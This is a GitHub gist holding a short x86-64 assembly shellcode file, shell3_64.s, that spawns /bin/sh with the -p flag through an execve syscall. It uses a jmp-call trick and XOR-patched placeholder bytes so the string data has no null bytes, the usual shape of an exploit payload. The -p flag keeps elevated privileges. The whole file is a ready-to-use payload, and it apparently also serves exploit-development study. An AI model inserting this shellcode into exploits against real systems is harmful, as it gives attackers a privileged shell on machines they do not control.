Created
June 11, 2018 15:22
-
-
Save fgsahoward/ef545c429886a2d9063b2ed2b620a279 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## | |
| # shell3_64.s - Executes "/bin/sh" | |
| # Compile and Link: | |
| # gcc -c shell3_64.s | |
| # ld -o shell3_64 shell3_64.o | |
| .global _start | |
| .text | |
| _start: | |
| xor %rdi, %rdi | |
| push %rdi | |
| jmp shell_arg | |
| system_call: | |
| mov (%rsp), %r8 | |
| xor %r9, %r9 | |
| mov $0x41, %r9b | |
| xor %r9b, 0x7(%r8) | |
| mov %r8, %rdi | |
| mov 0x8(%rsp), %r8 | |
| xor %r9, 0x2(%r8) | |
| mov %rsp, %rsi | |
| xor %rdx, %rdx | |
| xor %rax, %rax | |
| mov $0x3b, %al | |
| syscall | |
| shell: | |
| call system_call | |
| .ascii "/bin/shA" | |
| shell_arg: | |
| call shell | |
| .ascii "-pA" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment